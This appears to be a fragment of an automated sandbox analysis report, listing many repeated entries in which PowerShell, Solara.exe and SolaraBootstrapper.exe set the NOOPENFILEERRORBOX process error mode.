Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
